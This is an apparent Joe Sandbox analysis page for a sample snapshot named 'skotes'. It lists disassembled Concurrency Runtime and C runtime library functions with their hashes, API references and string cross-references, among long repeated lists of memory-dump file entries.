Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: 63d42b93b515ba9424c7bf40cb16866810d4e8e2a5f2e45c82bf8d4ee6d1cfb9
Instruction ID: be211208a0af75cbf88a16abcc23c8f827923534f573c1841564948fe8b2ed23
Opcode Fuzzy Hash: 63d42b93b515ba9424c7bf40cb16866810d4e8e2a5f2e45c82bf8d4ee6d1cfb9
Instruction Fuzzy Hash: 5021A7B5A412059BCB04EF54C952BAEB7A5BFC4314F114019F505AB782DBB0EE05CB95

Function 009B4EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 009B4F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 009B4F66

Strings

ppVirtualProcessorRoots, xrefs: 009B4F1C
count, xrefs: 009B4EBA

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: 16c9065bba6c7f6087598e8ec5328b9f4195b897c41a3a2c502cc238b83897b5
Instruction ID: 5d908e59d0325bbb5a874dcf674b36e835eaa1bebfbd92940eedf6ebb8637671
Opcode Fuzzy Hash: 16c9065bba6c7f6087598e8ec5328b9f4195b897c41a3a2c502cc238b83897b5
Instruction Fuzzy Hash: A521AC35600615EFCB14EFA8C992EAE77B5BF88324F004069F5069B692DB71EE01DB91

Function 009BB975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 009BBA0E

Strings

combase.dll, xrefs: 009BB983, 009BB988, 009BB99D, 009BB9C8
RoInitialize, xrefs: 009BB998
RoUninitialize, xrefs: 009BB9C1

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: 3dcdc492f86fc2eb8421b21ed3fc4f7aa6a0ebd81b33693d4fc31a30240fc302
Instruction ID: 506f84cf4ea67b9e03d05e40baea8367420276a56486978701d3e1982f296521
Opcode Fuzzy Hash: 3dcdc492f86fc2eb8421b21ed3fc4f7aa6a0ebd81b33693d4fc31a30240fc302
Instruction Fuzzy Hash: F801F1709813516DEB21B7B25E05BFB36CC9F4172CF211829B644E21D1EFB5EC0287A5

Function 009B6E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 009B6E73

Part of subcall function 009B4E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 009B4E7F
Part of subcall function 009B4E6E: List.LIBCMT ref: 009B4E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 009B6E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 009B6EAA

Strings

eventObject, xrefs: 009B6E7D

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: 81fdc9ef0fa58df84435c4a7494c86752d30178941121b1c38f5ad4b64f79db5
Instruction ID: eb8049dbbaaee308e8b5522aee684e5ac9238ceb216933d06eded195343a1803
Opcode Fuzzy Hash: 81fdc9ef0fa58df84435c4a7494c86752d30178941121b1c38f5ad4b64f79db5
Instruction Fuzzy Hash: ED11C275541208ABDB24EAA4CE86FFE72A85F40328F204515B505A60D1DF78EE04C665

Function 009BA0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 009BA102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 009BA126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 009BA139

Strings

pScheduler, xrefs: 009BA131

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 43e2493cd86091b0575919c5b28793a5ffc043cf1a49fb3041ed2df057e1b172
Instruction ID: eeb8f249ee71895fda1f15b4f0a94709d19e2b2d8c777c15ba96c1c3917df51f
Opcode Fuzzy Hash: 43e2493cd86091b0575919c5b28793a5ffc043cf1a49fb3041ed2df057e1b172
Instruction Fuzzy Hash: 60F0E976904204B7C761FA59DD82DEEB37D9ED0738B60C12DE50557181DF70AE06C692

Function 009CCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 009CCC66

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
